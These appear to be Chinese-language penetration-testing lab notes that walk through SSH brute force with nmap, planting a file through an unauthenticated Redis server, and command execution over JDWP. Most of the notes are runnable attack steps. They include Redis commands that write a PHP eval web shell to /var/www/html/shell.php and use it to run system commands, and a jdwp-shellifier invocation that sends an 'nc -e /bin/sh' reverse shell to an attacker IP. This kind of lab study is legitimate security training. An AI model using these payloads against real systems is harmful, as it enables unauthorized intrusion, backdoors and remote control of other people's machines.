===暴力破解
===未授权访问
===命令执行
难点:搜索平台,扫描工具在端口漏洞中的综合利用
一、暴力破解
穷举法的所称
破解?uesr password
22 ssh
23 telnet
1433 mssql
1521 oracle
3306 mysql
3389 rdp
实践
kali--->黑客
112---->受害者
nmap-->ssh/22
暴力破解ssh的前提是对方22端口开启
1.搜集弱口令
https://github.com/k8gege/PasswordDic
2.自己生成弱口令
https://github.com/LandGrey/pydictor
3.使用nmap进行暴力破解
nmap xx.xxx.xxx.xxx/xx -p xx --script ssh-brute --script-args userdb=/xxx/xxx.txt,passdb=/xxx/xxx.txt
注意:nmap的 ssh-brupt脚本需要使用script-args传入userdb和passdb的文件作为参数
二、未授权访问 危害更大
敏感文件、敏感系统
837 reync
2181 zoomkeeper
6379 redis
8080 jboss/jenkins
9200 elasticsearch
11211 memcache (之前的UDP反射放大就是利用未授权访问。)
27017 mangodb
2.实践-未授权访问redis并写文件----(php一句话木马)
112上安装redis服务
同时修改/etc/redis/redis.conf
#bind 127.0.0.1 ::1
protected-mode no
扩展-redis有一个redis-tools工具用于访问远程数据库
redis-cli -h xxx.xxx.xxx.xxx -p 6379
kali--安装redis-tools
(在112准备完成后)
redis-cli -h xxx.xxx.xxx.xxx -p 6379
>info
>flushall --->清除所有数据库
>set 1 '<?php eval($_GET["cmd"]);?>' --->可以执行任何的php函数
>config set dir /var/www/html
>config set dbfilename shell.php
>save ---->踩坑日记:目标主机的文件权限未开放导致写入失败
打开浏览器访问112/shell.php?cmd=phpinfo();
或者cmd=system(ls); ----> 括号中可以执行linux命令
结果:REDIS0007� redis-ver3.2.12� redis-bits�@�ctime��'a�used-mem�p����/var/www/html �h�cm4�"g
112--安装服务(记得修改配置)
/var/www/html --->为站点目录
kali的话使用apt-get安装
修改完/etc/redis/redis.conf后
执行redis-server /etc/redis/redis.conf
三、命令执行 最大 前提获得系统相关权限
命令:目标系统的操作命令
执行:直接输出结果 or 间接输出结果
445 smb
1099 rmi
8000 jdwp (实践)
8069 zabbix
9000 fastcgi
50000 upnp
实践:jdwp命令执行并反弹shell给攻击者
利用java的一个debug服务
编写一个死循环的测试代码
kali-下载
git clone https://github.com/IOActive/jdwp-shellifier
kali-监听
nc -lvvp
目标-部署环境
vim Test.java
apt-get update
apt-get install default-jdk
javac Test.java
java -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000 Test
缺点:会在目标主机显示执行结果
如何优化呢?
利用python远程链接到目标将shell反弹给攻击者,攻击者可执行shell命令,前提确保java的死循环在目标上正常运行
kali:python jdwp-shellifier.py -t xxx.xxx.xxx.xxx(目标) -p 8000 --break-on java.lang.String.indexof --cmd "nc -e /bin/sh xxx.xxx.xxx.xxx(攻击者ip) 1234"
python jdwp-shellifier.py -t 192.168.10.112 -p 8000 --break-on java.lang.String.indexof --cmd "nc -e /bin/sh 192.168.10.123 1234"
(该命令会在后续的代码安全中详细解释)